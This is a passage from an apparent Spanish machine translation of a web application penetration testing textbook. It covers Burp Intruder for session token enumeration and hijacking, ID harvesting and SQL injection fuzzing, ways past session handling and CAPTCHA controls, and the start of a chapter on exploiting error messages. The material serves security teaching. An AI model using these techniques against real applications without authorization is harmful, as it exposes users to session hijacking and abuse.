cada respuesta una cadena específi ca. Al hacer fuzzing, es posible que desee buscar una
gran cantidad de mensajes de error comunes y similares.
De forma predeterminada, Burp Intruder registra en su tabla de resultados el código de

estado HTTP, la duración de la respuesta, las cookies configuradas por el servidor y el tiempo
necesario para recibir la respuesta. Al igual que con JAttack, también puede configurar Burp
Intruder para realizar un análisis personalizado de las respuestas de la aplicación para ayudar
a identificar casos interesantes que pueden indicar la presencia de una vulnerabilidad o
merecer una mayor investigación. Puede especificar cadenas o expresiones regulares para las
que se buscarán las respuestas. Puede configurar cadenas personalizadas para controlar la
extracción de datos de las respuestas del servidor. Y puede hacer que Intruder verifique si
cada respuesta contiene la carga útil del ataque para ayudar a identificar las secuencias de
comandos entre sitios y otras vulnerabilidades de inyección de respuesta. Estos ajustes se
pueden configurar antes de que se lance cada ataque y también se pueden aplicar a los
resultados del ataque después de que haya comenzado.
Una vez configuradas las posiciones de carga útil, las fuentes de carga útil y cualquier
análisis requerido de las respuestas del servidor, está listo para lanzar su ataque. Echemos un
vistazo rápido a cómo se puede usar Intruder para lanzar algunos ataques automatizados
personalizados comunes.
Ataque 1: enumeración de identificadores
Suponga que se dirige a una aplicación que admite el autorregistro para usuarios anónimos.
Usted crea una cuenta, inicia sesión y obtiene acceso a un mínimo de funcionalidad. En esta
etapa, un área de evidente interés son los tokens de sesión de la aplicación. Iniciar sesión
varias veces seguidas genera la siguiente secuencia:
000000-fb2200-16cb12-172ba72551
000000-bc7192-16cb12-172ba7279e
000000-73091f-16cb12-172ba729e8
000000-918cb1-16cb12-172ba72a2a
000000-aa820f-16cb12-172ba72b58
000000-bc8710-16cb12-172ba72e2b
Siga los pasos descritos en el Capítulo 7 para analizar estos tokens. Es

evidente que aproximadamente la mitad del token no cambia, pero también
descubre que la aplicación tampoco procesa la segunda parte del token.
Modificar esta parte por completo no invalida sus tokens. Además, aunque no es trivialmente
secuencial, la parte final claramente parece estar aumentando de alguna manera. Esto
parece una oportunidad prometedora para un ataque de secuestro de sesión.
Para aprovechar la automatización para lanzar este ataque, debe encontrar un solo par
de solicitud/respuesta que pueda usarse para detectar tokens válidos. Por lo general,
cualquier solicitud de una página autenticada de la aplicación servirá para este propósito.
Decide orientar la página presentada a cada usuario después de iniciar sesión:
OBTENER /auth/502/Home.ashx HTTP/1.1

Cookie: SesiónID=000000-fb2200-16cb12-172ba72551
Debido a lo que sabe sobre la estructura y el manejo de los tokens de sesión, su ataque
necesita modificar solo la parte final del token. De hecho, debido a la secuencia identificada,
el ataque inicial más productivo modifica solo los últimos dígitos del token. En consecuencia,
configura Intruder con una sola posición de carga útil, como se muestra en la Figura 14-2.
Figura 14-2: Configuración de una posición de carga útil personalizada

Sus cargas útiles deben secuenciarse a través de todos los valores posibles para los últimos
tres dígitos. El token parece usar el mismo conjunto de caracteres que los números
hexadecimales: 0 a 9 y a a f. Así que configura una fuente de carga útil para generar todos los
números hexadecimales en el rango de 0x000 a 0xfff, como se muestra en la Figura 14-3.
Figura 14-3: Configuración de cargas útiles numéricas
En los ataques para enumerar tokens de sesión válidos, la identificación de aciertos suele ser
sencilla. En el presente caso, ha determinado que la aplicación devuelve una respuesta HTTP
200 cuando se proporciona un token válido y una redirección HTTP 302 a la página de inicio de
sesión cuando se proporciona un token no válido. Por lo tanto, no necesita configurar ningún
análisis de respuesta personalizado para este ataque.
Lanzar el ataque hace que Intruder repita rápidamente las solicitudes.
Los resultados del ataque se muestran en forma de tabla. Puede hacer clic en el encabezado de
cada columna para ordenar los resultados según el contenido de esa columna.
Ordenar por código de estado le permite identificar fácilmente los tokens válidos que ha
descubierto, como se muestra en la Figura 14-4. También puede usar las funciones de filtrado y
búsqueda dentro de la ventana de resultados para ayudar a localizar elementos interesantes
dentro de un gran conjunto de resultados.
Figura 14-4: Clasificación de los resultados de los ataques para identificar rápidamente los impactos
El ataque tiene éxito. Puede tomar cualquiera de las cargas útiles que provocaron las respuestas
HTTP 200, reemplazar los últimos tres dígitos de su token de sesión con esto y, por lo tanto,
secuestrar las sesiones de otros usuarios de la aplicación. Sin embargo, eche un vistazo más de
cerca a la tabla de resultados. La mayoría de las respuestas HTTP 200 tienen aproximadamente
la misma longitud de respuesta, porque la página de inicio que se presenta a los diferentes
usuarios es más o menos la misma. Sin embargo, dos de las respuestas son mucho más largas,
lo que indica que se devolvió una página de inicio diferente.
Puede hacer doble clic en un elemento de resultado en Intruder para mostrar la respuesta del
servidor en su totalidad, ya sea como HTTP sin procesar o como HTML. Hacer esto revela que las
páginas de inicio más largas contienen más opciones de menú y detalles diferentes que su página
de inicio. Parece que estas dos sesiones secuestradas pertenecen a usuarios más privilegiados.
¡INTENTALO!
SUGERENCIA La duración de la respuesta suele ser un fuerte indicador de

respuestas anómalas que merecen una mayor investigación. Como en el
caso anterior, una duración de respuesta diferente puede señalar diferencias
interesantes que quizás no haya anticipado cuando ideó el ataque. Por lo tanto,
incluso si otro atributo proporciona un indicador confiable de aciertos, como el
código de estado HTTP, siempre debe inspeccionar la columna de longitud de
respuesta para identificar otras respuestas interesantes.
Ataque 2: Recolección de información

Al navegar más en el área autenticada de la aplicación, observa que utiliza un número de
índice en un parámetro de URL para identificar las funciones solicitadas por el usuario. Por
ejemplo, la siguiente URL se usa para mostrar la página Mis detalles para el usuario actual:
https://mdsec.net/auth/502/ShowPage.ashx?pageid=32010039
Este comportamiento ofrece una excelente oportunidad para buscar funcionalidades

que aún no ha descubierto y para las cuales es posible que no esté debidamente
autorizado. Para hacer esto, puede usar Burp Intruder para recorrer un rango de posibles
valores de ID de página y extraer el título de cada página que se encuentre.
En esta situación, a menudo es sensato comenzar a buscar contenido dentro de un rango
numérico que se sabe que contiene valores válidos. Para hacer esto, puede configurar sus
marcadores de posición de carga útil para apuntar a los últimos dos dígitos del ID de página,
como se muestra en la Figura 14-5, y generar cargas útiles en el rango de 00 a 99.
Puede configurar Intruder para capturar el título de la página de cada respuesta mediante
la función Extraer Grep. Esto funciona de manera muy similar a la función de extracción de
JAttack: especifica la expresión que precede al elemento que desea extraer, como se
El lanzamiento de este ataque itera rápidamente a través de todos los valores posibles
para los dos últimos dígitos del parámetro pageid y muestra el título de la página de cada
respuesta, como se muestra en la Figura 14-7. Como puede ver, varias respuestas parecen
contener funciones administrativas interesantes. Además, algunas de las respuestas son
redireccionamientos a una URL diferente, lo que justifica una mayor investigación . Si lo
desea, puede reconfigurar su ataque Intruder para extraer el objetivo de estas direcciones,
o incluso para seguirlas automáticamente y mostrar el título de la página de la respuesta
final.
¡INTENTALO!
Figura 14-5: Posicionamiento de la carga útil
Figura 14-6: Configuración de Extraer Grep

Figura 14-7: Recorriendo los valores del índice de función y extrayendo el título
de cada página resultante
Ataque 3: Fuzzing de aplicaciones
Además de explotar los errores ya identificados, debe, por supuesto, sondear la aplicación
de destino en busca de vulnerabilidades comunes. Para garantizar una cobertura decente,
debe probar cada parámetro y solicitud, comenzando desde la solicitud de inicio de sesión
en adelante.
Para realizar una prueba rápida de fuzz de una solicitud determinada, debe establecer posiciones de
carga útil en todos los parámetros de la solicitud. Puede hacer esto simplemente haciendo clic en el botón
automático en la pestaña de posiciones, como se muestra en la Figura 14-8.
Luego, debe configurar un conjunto de cadenas de ataque para usar como cargas útiles y algunos
mensajes de error comunes para buscar respuestas. Intruder contiene conjuntos integrados de cadenas
para ambos usos.
Al igual que con el ataque de fuzzing realizado con JAttack, debe revisar manualmente la tabla de
resultados para identificar cualquier anomalía que merezca una mayor investigación , como se muestra en
la Figura 14-9. Como antes, puede hacer clic en los encabezados de las columnas para ordenar las
respuestas de varias maneras para ayudar a identificar casos interesantes.
Figura 14-8: Configuración de Burp Intruder para fuzzear una solicitud de inicio de sesión
Figura 14-9: Resultados de fuzzing de una sola solicitud

Desde un vistazo inicial a los resultados, parece que la aplicación es vulnerable a la inyección SQL. En
ambas posiciones de carga útil, cuando se envía una comilla simple , la aplicación devuelve una respuesta
diferente con un mensaje que contiene las comillas y la sintaxis de las cadenas . Este comportamiento
definitivamente justifica una investigación manual para confirmar y explotar el error.
¡INTENTALO!
SUGERENCIA Puede hacer clic con el botón derecho en cualquier resultado que parezca
interesante y enviar la respuesta a la herramienta Burp Repeater. Esto le permite modificar
la solicitud manualmente y volver a emitirla varias veces para probar el manejo de diferentes
cargas útiles por parte de la aplicación, sondear omisiones de filtros o entregar exploits reales.
Barreras a la automatización
En muchas aplicaciones, las técnicas descritas hasta ahora en este capítulo se pueden aplicar sin ningún
problema. En otros casos, sin embargo, puede encontrar varios obstáculos que le impidan realizar ataques
automatizados personalizados de forma sencilla.
Las barreras a la automatización generalmente se dividen en dos categorías:
n Mecanismos de manejo de sesiones que terminan las sesiones de manera defensiva en respuesta a
solicitudes inesperadas, emplean valores de parámetros efímeros como tokens anti-CSRF que
cambian por solicitud (consulte el Capítulo 13) o involucran procesos de varias etapas.
n Controles CAPTCHA diseñados para evitar que las herramientas automatizadas accedan a una
función de aplicación en particular, como una función para registrar nuevas cuentas de usuario.
Examinaremos cada una de estas situaciones y describiremos formas en las que puede eludir las
barreras a la automatización, ya sea refinando sus herramientas automatizadas o encontrando defectos en
las defensas de la aplicación.
Mecanismos de manejo de sesiones

Muchas aplicaciones emplean mecanismos de manejo de sesiones y otras funciones con estado que
pueden presentar problemas para las pruebas automatizadas. Estas son algunas situaciones en las que
pueden surgir obstáculos:
n Mientras está probando una solicitud, la aplicación finaliza la sesión que se está
utilizando para la prueba, ya sea a la defensiva o por otros motivos, y el resto del
ejercicio de prueba es ineficaz. n Una función de aplicación emplea un token
cambiante que se debe proporcionar con cada solicitud (por ejemplo, para evitar
ataques de falsificación de solicitudes). n La solicitud que se está probando
aparece dentro de un proceso de varias etapas. La solicitud se maneja correctamente
solo si primero se ha realizado una serie de otras solicitudes para que la aplicación
esté en un estado adecuado.
Los obstáculos de este tipo siempre se pueden sortear, en principio, refinando sus técnicas de
automatización para que funcionen con cualquier mecanismo que esté usando la aplicación. Si
está escribiendo su propio código de prueba a lo largo de las líneas de JAttack, puede implementar
directamente el soporte para el manejo de tokens específicos o mecanismos de varias etapas. Sin
embargo, este enfoque puede ser complejo y no se adapta muy bien a aplicaciones grandes. En la
práctica, la necesidad de escribir un nuevo código personalizado para hacer frente a cada nueva
instancia de un problema puede presentar una barrera significativa para el uso de la automatización,
y es posible que se encuentre volviendo a técnicas manuales más lentas.
Soporte de manejo de sesiones en Burp Suite

Afortunadamente, Burp Suite ofrece una gama de funciones para manejar todas estas situaciones
de la manera más sencilla posible, lo que le permite continuar con sus pruebas mientras Burp se
ocupa de los obstáculos sin problemas en segundo plano. Estas características se basan en los
siguientes componentes:
n Cookie jar n
Solicitar macros n
Reglas de manejo de sesiones
Describiremos brevemente cómo se pueden combinar estas características para superar las
barreras a la automatización y permitirle continuar con las pruebas en las diversas situaciones
descritas. Hay disponible ayuda más detallada en la documentación en línea de Burp Suite .
Tarro de las galletas
Burp Suite mantiene su propio contenedor de cookies, que rastrea las cookies de aplicaciones
utilizadas por su navegador y por las propias herramientas de Burp. Puede configurar cómo Burp
actualiza automáticamente el contenedor de cookies y también puede ver y editar su contenido
directamente, como se muestra en la Figura 14-10.
Figura 14-10: El tarro de galletas de Burp Suite
En sí mismo, el contenedor de cookies en realidad no hace nada, pero los valores clave que
rastrea se pueden usar dentro de los otros componentes del soporte de manejo de sesiones de Burp.
Macros de solicitud
Una macro es una secuencia predefinida de una o más solicitudes. Las macros se pueden utilizar
para realizar diversas tareas relacionadas con la sesión, incluidas las siguientes:
n Obtener una página de la aplicación (como la página de inicio del usuario) para
comprobar que la sesión actual sigue siendo válida
n Realizar un inicio de sesión para obtener una nueva sesión

válida n Obtener un token o nonce para usar como parámetro en otra solicitud se
aceptará la solicitud dirigida
Las macros se graban utilizando su navegador. Al defi nir una macro, Burp muestra una
vista del historial de Proxy, desde la cual puede seleccionar las solicitudes que se utilizarán
para la macro. Puede seleccionar entre solicitudes realizadas previamente o grabar la macro
de nuevo y seleccionar los nuevos elementos del historial, como se muestra en la Figura 14-11.
Para cada elemento de la macro, se pueden configurar los siguientes ajustes, como se muestra
en la Figura 14-12:
n Si las cookies del contenedor de cookies deben agregarse a la solicitud

n Si las cookies recibidas en la respuesta deben agregarse al contenedor de
cookies n Para cada parámetro en la solicitud, si debe usar un valor preestablecido
o un valor derivado de una respuesta anterior en la macro
Figura 14-11: Grabación de una macro de solicitud en Burp Suite
Figura 14-12: Configuración del manejo de cookies y parámetros para un elemento de macro
La capacidad de derivar el valor de un parámetro de una respuesta anterior en la macro es especialmente

útil en algunos procesos de varias etapas y en situaciones en las que las aplicaciones hacen un uso agresivo
de tokens anti-CSRF. Cuando define una nueva macro, Burp intenta encontrar automáticamente cualquier
relación de este tipo mediante la identificación de parámetros cuyos valores se pueden determinar a partir de
la respuesta anterior (valores de campo de formulario, objetivos de redirección, cadenas de consulta en
enlaces).
Reglas de manejo de sesiones
El componente clave del soporte de manejo de sesiones de Burp Suite es la facilidad para defi nir reglas de
manejo de sesiones, que utilizan el contenedor de cookies y solicitan macros para lidiar con barreras específi
cas a la automatización.
Cada regla comprende un ámbito (a qué se aplica la regla) y acciones (lo que hace la regla). Para cada
solicitud saliente que hace Burp, determina cuáles de las reglas definidas están dentro del alcance de la
solicitud y realiza todas las acciones de esas reglas en orden.
El alcance de cada regla se puede defi nir en función de cualquiera o todos los siguientes
características de la solicitud que se está procesando, como se muestra en la Figura 14-13:
n La herramienta Burp que realiza la solicitud n La URL de
la solicitud n Los nombres de los parámetros dentro de la
solicitud
Cada regla puede realizar una o más acciones, como se muestra en la Figura 14-14, incluyendo
ing lo siguiente:
n Agregar cookies del contenedor de cookies de manejo de sesión. n
Establecer una cookie específica o un valor de parámetro. n Comprobar
si la sesión actual es válida y realizar subacciones condicionalmente al resultado.
n Ejecutar una macro.
n Solicitar al usuario la recuperación de la sesión en el navegador.
Todas estas acciones son altamente configurables y se pueden combinar de

manera arbitraria para manejar prácticamente cualquier mecanismo de manejo de sesión.
Poder ejecutar una macro y actualizar los valores de parámetros y cookies especificados en función del
resultado le permite volver a iniciar sesión automáticamente en una aplicación cuando haya cerrado la sesión.
Poder solicitar la recuperación de la sesión en el navegador le permite trabajar con mecanismos de inicio de
sesión que implican ingresar un número de un token físico o resolver un rompecabezas de CAPTCHA
(descrito en la siguiente sección).
Figura 14-13: Configuración del alcance de una regla de manejo de sesión
Figura 14-14: Configuración de acciones para una regla de manejo de sesión

Al crear múltiples reglas con diferentes alcances y acciones, puede defi nir una jerarquía
de comportamiento que Burp aplicará a diferentes URL y parámetros.
Por ejemplo, suponga que está probando una aplicación que termina su sesión con
frecuencia en respuesta a solicitudes inesperadas y también hace un uso liberal de un
token anti-CSRF llamado __csrftoken. En esta situación, podría definir las siguientes
reglas, como se muestra en la Figura 14-15:
n Para todas las solicitudes, agregue galletas del tarro de

galletas de Burp. n Para solicitudes al dominio de la aplicación, valide que la sesión
actual con la aplicación aún esté activa. Si no es así, ejecute una macro para volver
a iniciar sesión en la aplicación y actualice el contenedor de cookies con el token
de sesión resultante. n Para las solicitudes a la aplicación que contienen el parámetro
__csrftoken , primero ejecute una macro para obtener un valor válido de __csrftoken
y utilícelo al realizar la solicitud.
Figura 14-15: Un conjunto de reglas de manejo de sesión para manejar la terminación de sesión y
los tokens anti-CSRF utilizados por una aplicación
La configuración necesaria para aplicar la funcionalidad de manejo de sesiones de

Burp a las funciones de las aplicaciones del mundo real suele ser compleja y es fácil
cometer errores . Burp proporciona una función de seguimiento para solucionar
problemas de configuración de manejo de sesiones. Esta función le muestra todos los
pasos realizados cuando Burp aplica las reglas de manejo de sesión a una solicitud, lo
que le permite ver exactamente cómo se actualizan y emiten las solicitudes, e identificar
si su configuración funciona de la manera prevista. El rastreador de manejo de sesiones
se muestra en la Figura 14-16.
Figura 14-16: Rastreador de manejo de sesión de Burp, que le permite monitorear y depurar sus
reglas de manejo de sesión
Una vez configuradas y probadas las reglas y macros que necesita para trabajar
con la aplicación a la que se dirige, puede continuar con las pruebas manuales y
automáticas de la forma habitual, como si no existieran los obstáculos para las pruebas.
Controles CAPTCHA
Los controles CAPTCHA están diseñados para evitar que ciertas funciones de la aplicación
se utilicen de forma automatizada. Se emplean más comúnmente en funciones para registrar
cuentas de correo electrónico y publicar comentarios en blogs para tratar de reducir el spam.
CAPTCHA es un acrónimo de la prueba de Turing pública completamente automatizada para
diferenciar a las computadoras y los humanos. Estas pruebas normalmente toman la forma de un
rompecabezas que contiene una palabra distorsionada, que el usuario debe leer e ingresar en un
campo en el formulario que se envía. Los rompecabezas también pueden implicar el reconocimiento
de animales y plantas particulares, la orientación de imágenes, etc.
Los acertijos de CAPTCHA están destinados a ser fáciles de resolver para un ser humano pero
difíciles para una computadora. Debido al valor monetario para los spammers de eludir estos
controles, se ha producido una carrera armamentista en la que los acertijos típicos de CAPTCHA
se han vuelto cada vez más difíciles de resolver para un ser humano, como se muestra en la
Figura 14-17. A medida que convergen las capacidades de resolución de CAPTCHA de los
humanos y las computadoras, es probable que estos acertijos se vuelvan cada vez más ineficaces
como defensa contra el spam, y pueden ser abandonados. También presentan problemas de
accesibilidad que actualmente no están completamente resueltos.
Figura 14-17: Un rompecabezas CAPTCHA
Los acertijos de CAPTCHA se pueden eludir de varias maneras, solo algunas de las cuales
son aplicables en el contexto de la realización de pruebas de seguridad.
Atacar implementaciones de CAPTCHA

El lugar más fructífero para buscar formas de eludir un control CAPTCHA es la implementación de
cómo se entrega el rompecabezas al usuario y cómo la aplicación maneja la solución del usuario.
Un número sorprendente de implementaciones de CAPTCHA exponen la solución del rompecabezas.

ción al cliente en forma de texto. Esto puede surgir de varias maneras:
n La imagen del rompecabezas se carga a través de una URL que incluye la solución como
parámetro, o el nombre de la imagen se establece en la solución CAPTCHA.
n La solución del rompecabezas se almacena en un campo de formulario
oculto. n La solución del rompecabezas aparece dentro de un comentario HTML u otra ubicación
para fines de depuración.
En estas situaciones, es fácil para un ataque programado recuperar la respuesta que

contiene la solución del rompecabezas y envíela en la próxima solicitud de ataque.
¡INTENTALO!
http://mdsec.net/feedback/12/
Otro error común en las implementaciones de CAPTCHA es que un rompecabezas se

puede resolver manualmente en una sola ocasión y la solución se puede reproducir en
múltiples solicitudes. Normalmente, cada acertijo debería ser válido para un solo intento,
y la aplicación debería descartarlo cuando se reciba un intento de solución. Si esto no se
hace, es sencillo resolver un rompecabezas una vez de la manera normal y luego usar la
solución para realizar un número ilimitado de solicitudes automatizadas.
¡INTENTALO!
NOTA Algunas aplicaciones tienen una ruta de código deliberada que elude
el CAPTCHA para permitir el uso de ciertos procesos automatizados
autorizados. En estos casos, a menudo es posible omitir el CAPTCHA
simplemente al no proporcionar el nombre del parámetro relevante.
Resolución automática de rompecabezas CAPTCHA
En principio, la mayoría de los tipos de acertijos de CAPTCHA se pueden resolver con una
computadora y, en la práctica, muchos algoritmos de acertijos de alto perfil han sido derrotados de esta manera.
Para los acertijos estándar que involucran una palabra distorsionada, resolver el acertijo implica
los siguientes pasos:
1. Eliminación de ruido de la imagen 2.

Segmentación de la imagen en letras individuales 3.
Reconocimiento de la letra en cada segmento
Con la tecnología actual, las computadoras son bastante efectivas para eliminar el
ruido y reconocer las letras que se han segmentado correctamente. Los desafíos más
significativos surgen con la segmentación de la imagen en letras, particularmente donde
las letras se superponen y están muy distorsionadas.
Para acertijos simples en los que la segmentación en letras es trivial, es probable que se pueda
usar algún código de cosecha propia para eliminar el ruido de la imagen y pasar el texto a una
biblioteca OCR (reconocimiento óptico de caracteres) existente para reconocer las letras. Para
acertijos más complejos en los que la segmentación es un desafío serio,
varios proyectos de investigación han logrado comprometer los rompecabezas

CAPTCHA de aplicaciones web de alto perfil.
Para otros tipos de rompecabezas, se necesita un enfoque diferente, adaptado a la naturaleza de las
imágenes del rompecabezas. Por ejemplo, los acertijos que implican el reconocimiento de animales o la
orientación de objetos necesitan utilizar una base de datos de imágenes reales, que se reutilizan en
múltiples acertijos. Si la base de datos es lo suficientemente pequeña, un atacante puede resolver
manualmente suficientes imágenes en la base de datos para que el ataque sea factible.
Incluso si se aplica ruido y otras distorsiones a las imágenes, para hacer que cada imagen reutilizada
parezca diferente a una computadora, a menudo se pueden usar hashes de imágenes borrosas y
comparación de histogramas de color para hacer coincidir la imagen de un rompecabezas determinado
con uno que ya se ha resuelto manualmente.
Los rompecabezas de Asirra de Microsoft utilizan una base de datos de varios millones de imágenes
de gatos y perros, derivadas de un directorio del mundo real de mascotas adoptables. Para un atacante
con un incentivo monetario lo suficientemente grande, incluso esta base de datos podría resolverse
económicamente usando solucionadores humanos, como se describe en la siguiente sección.
En todos estos casos, vale la pena señalar que para eludir efectivamente un control de CAPTCHA, no
es necesario que puedas resolver acertijos con una precisión perfecta. Por ejemplo, un ataque que
resolvió correctamente solo el 10 % de los acertijos aún podría ser muy eficaz para realizar pruebas de
seguridad automatizadas o enviar spam, según sea el caso. Un ejercicio automatizado que requiere diez
veces más solicitudes normalmente es aún más rápido y menos doloroso que el ejercicio manual
correspondiente.
¡INTENTALO!
Uso de solucionadores humanos
Los delincuentes que necesitan resolver un gran número de acertijos de CAPTCHA a veces emplean
técnicas que no son aplicables en el contexto de las pruebas de seguridad de aplicaciones web:
n Se puede usar un sitio web aparentemente benigno para inducir a los proxies CAPTCHA humanos
a resolver acertijos que pasan desde la aplicación a la que se dirigen. Por lo general, el atacante
ofrece el incentivo de un premio de competencia o acceso gratuito a pornografía para atraer a los
usuarios. Cuando un usuario completa el formulario de registro, se le presenta un rompecabezas
CAPTCHA que se ha obtenido en tiempo real desde la aplicación de destino. Cuando el usuario
resuelve el rompecabezas, su solución se transmite a la aplicación de destino.
n Los atacantes pueden pagar drones CAPTCHA humanos en países en desarrollo

para resolver una gran cantidad de acertijos. Algunas empresas ofrecen este
servicio, que cuesta menos de $1 por cada 1000 acertijos que se resuelven.
Resumen
Cuando está atacando una aplicación web, la mayoría de las tareas necesarias deben adaptarse
al comportamiento de esa aplicación y los métodos mediante los cuales le permite interactuar con
ella y manipularla. Debido a esto, a menudo se encontrará trabajando manualmente, enviando
solicitudes diseñadas individualmente y revisando las respuestas de la aplicación.
Las técnicas descritas en este capítulo son conceptualmente intuitivas. Implican aprovechar la
automatización para hacer que estas tareas personalizadas sean más fáciles, rápidas y efectivas.
Es posible automatizar prácticamente cualquier procedimiento manual que desee realizar utilizando
la potencia y confiabilidad de su propia computadora para atacar los defectos y puntos débiles de
su objetivo.
En algunos casos, existen obstáculos que le impiden aplicar directamente técnicas
automatizadas. Sin embargo, en la mayoría de los casos, estos pueden superarse refinando sus
herramientas automatizadas o encontrando una debilidad en las defensas de la aplicación.
Aunque conceptualmente sencillo, el uso efectivo de la automatización personalizada requiere

experiencia, habilidad e imaginación. Puede usar herramientas para ayudar, o puede escribir las
suyas propias. Pero no hay sustituto para el aporte humano inteligente que distingue a un hacker
de aplicaciones web verdaderamente consumado de un mero aficionado. Cuando haya dominado
todas las técnicas descritas en los otros capítulos, debe volver a este tema y practicar las diferentes
formas en que se puede usar la automatización personalizada para aplicar esas técnicas.
Preguntas
1. Mencione tres identificadores de aciertos al usar la automatización para enumerar identi

fi ers dentro de una aplicación.
2. Para cada una de las siguientes categorías, identifique una cadena fuzz que a menudo se
pueda usar para identificarla:
(a) Inyección de SQL (b)
Inyección de comandos del sistema
operativo (c) Recorrido de ruta (d)
Inclusión de archivo de script
3. Cuando realiza una prueba de fuzzing de una solicitud que contiene varios parámetros
diferentes, ¿por qué es importante realizar solicitudes dirigidas a cada parámetro por turno
y dejar los demás sin modificar?
4. Está formulando un ataque automatizado para aplicar fuerza bruta a una función de
inicio de sesión para descubrir credenciales de cuenta adicionales. Encuentra que la
aplicación devuelve una redirección HTTP a la misma URL, independientemente de si
envía credenciales válidas o no válidas. En esta situación, ¿cuál es el medio más
probable que puede utilizar para detectar aciertos?
5. Cuando utiliza un ataque automatizado para recolectar datos desde dentro de la
aplicación, a menudo encontrará que la información que le interesa está precedida por
una cadena estática que le permite capturar fácilmente los datos que la siguen. Por
ejemplo:
<tipo de entrada=”texto” nombre=”Apellido” valor=”
En otras ocasiones, puede encontrar que no es así y que los datos que preceden a la
información que necesita son más variables. En esta situación, ¿cómo puede diseñar
un ataque automatizado que aún satisfaga sus necesidades?
CAPÍTULO R
15
Explotación de la información
Divulgar
El Capítulo 4 describió varias técnicas que puede usar para mapear una aplicación
de destino y obtener una comprensión inicial de cómo funciona. Esa metodología
implicó interactuar con la aplicación en formas en gran medida benignas para
catalogar su contenido y funcionalidad, determinar las tecnologías en uso e identificar
la superficie de ataque clave.
Este capítulo describe las formas en que puede extraer más información de una
aplicación durante un ataque real. Esto implica principalmente interactuar con la
aplicación de formas inesperadas y maliciosas, y explotar anoma radica en el
comportamiento de la aplicación para extraer información valiosa para usted.
Si tiene éxito, un ataque de este tipo puede permitirle recuperar datos confidenciales,
como credenciales de usuario, obtener una comprensión más profunda de una condición
de error para ajustar su ataque, descubrir más detalles sobre las tecnologías en uso y
mapear la estructura interna de la aplicación y funcionalidad.
Explotación de mensajes de error
Muchas aplicaciones web devuelven mensajes de error informativos cuando ocurren

eventos inesperados . Estos pueden variar desde simples mensajes incorporados que
revelan solo la categoría del error hasta información completa de depuración que brinda
muchos detalles sobre el estado de la aplicación.
615
616 Capítulo 15 n Explotación de la divulgación de información
La mayoría de las aplicaciones están sujetas a varios tipos de pruebas de usabilidad

antes de su implementación. Esta prueba normalmente identifica la mayoría de las
condiciones de error que pueden surgir cuando la aplicación se utiliza de forma normal. Por
lo tanto, estas condiciones generalmente se manejan de una manera elegante que no
implica que se devuelva ningún mensaje técnico al usuario. Sin embargo, cuando una
aplicación está bajo un ataque activo, es probable que surja una gama mucho más amplia
de condiciones de error , lo que puede dar como resultado que se devuelva información
más detallada al usuario. Se ha descubierto que incluso las aplicaciones más críticas para
la seguridad, como las que utilizan los bancos en línea, devuelven una salida de depuración
muy detallada cuando se genera una condición de error lo suficientemente inusual.
Mensajes de error de secuencia de comandos
Cuando surge un error en un lenguaje de secuencias de comandos web interpretado, como

VBScript, la aplicación generalmente devuelve un mensaje simple que revela la naturaleza
del error y posiblemente el número de línea del archivo donde ocurrió el error. Por ejemplo:
Error de tiempo de ejecución de Microsoft VBScript 800a0009

Subíndice fuera de rango: [número -1] /register.asp, línea 821
Este tipo de mensaje normalmente no contiene información confidencial sobre el estado

de la aplicación o los datos que se procesan. Sin embargo, puede ayudarlo a reducir el
enfoque de su ataque. Por ejemplo, cuando inserta diferentes cadenas de ataque en un
parámetro específico para investigar vulnerabilidades comunes, puede encontrar el siguiente
mensaje:
Error de tiempo de ejecución de Microsoft VBScript '800a000d' Error

de coincidencia de tipo: ' [cadena: "'"]' /scripts/confirmOrder.asp,
línea 715
Este mensaje indica que el valor que ha modificado probablemente se está asignando a
una variable numérica y ha proporcionado una entrada que no se puede asignar porque
contiene caracteres no numéricos. En esta situación, es muy probable que no se gane nada
enviando cadenas de ataque no numéricas como este parámetro. Entonces, para muchas
categorías de errores, es mejor apuntar a otros parámetros.
Una forma diferente en la que este tipo de mensaje de error puede ayudarlo es brindarle
una mejor comprensión de la lógica que se implementa dentro de la aplicación del lado del
servidor. Debido a que el mensaje revela el número de línea donde ocurrió el error, es
posible que pueda confirmar si dos solicitudes diferentes con formato incorrecto están
provocando el mismo error o errores diferentes. También puede ser capaz
Capítulo 15 n Explotación de la divulgación de información 617
para determinar la secuencia en la que se procesan diferentes parámetros al enviar una

entrada incorrecta dentro de múltiples parámetros e identificar la ubicación en la que se
produce un error. Mediante la manipulación sistemática de diferentes parámetros, es
posible que pueda mapear las diferentes rutas de código que se ejecutan en el servidor.
Rastros de pila
La mayoría de las aplicaciones web están escritas en lenguajes que son más complejos
que los scripts simples, pero que aun así se ejecutan en un entorno de ejecución
administrado, como Java, C# o Visual Basic .NET. Cuando se produce un error no
controlado en estos idiomas, es común ver que se devuelven seguimientos de pila completos al navegador.
Un seguimiento de pila es un mensaje de error estructurado que comienza con una
descripción del error real. A esto le sigue una serie de líneas que describen el estado de
la pila de llamadas de ejecución cuando se produjo el error. La línea superior de la pila de
llamadas muestra la función que generó el error, la siguiente línea muestra la función que
invocó la función anterior y así sucesivamente hasta que se agote la jerarquía de llamadas
a funciones.
El siguiente es un ejemplo de un seguimiento de pila generado por una aplicación
ASP.NET:
[HttpException (0x80004005): no se puede usar un encabezado .. para salir por encima del directorio superior.]
System.Web.Util.UrlPath.Reduce(ruta de cadena) +701

System.Web.Util.UrlPath.Combine(ruta base de cadena, relativa de cadena)+304
System.Web.UI.Control.ResolveUrl(URL relativa de cadena) +143 PBSApp.
StatFunc.Web.MemberAwarePage.Redirect(URL de cadena) +130
PBSApp.StatFunc.Web.MemberAwarePage.Process() +201
PBSApp.StatFunc.Web.MemberAwarePage.OnLoad(EventArgs e)
Sistema.Web.UI.Control.LoadRecursive() +35
Sistema.Web.UI.Page.ProcessRequestMain() +750
Información de la versión: Microsoft .NET Framework Versión: 1.1.4322.2300; Versión de ASP.NET:

1.1.4322.2300
Este tipo de mensaje de error proporciona una gran cantidad de información útil.
que pueden ayudarlo a afinar su ataque contra la aplicación:
n A menudo describe la razón precisa por la que ocurrió un error. Esto puede permitirle
ajustar su entrada para eludir la condición de error y avanzar en su ataque. n
Normalmente, la pila de llamadas hace referencia a una serie de componentes de
código de terceros y bibliotecas que se utilizan en la aplicación. Puede revisar la
documentación de estos componentes para comprender su comportamiento
previsto y suposiciones. También puedes crear tu propio local.
implementación y pruébelo para comprender las formas en que maneja entradas

inesperadas e identificar potencialmente vulnerabilidades.
n La pila de llamadas incluye los nombres de los componentes del código propietario que se
utilizan para procesar la solicitud. El esquema de nombres para estos y las interrelaciones
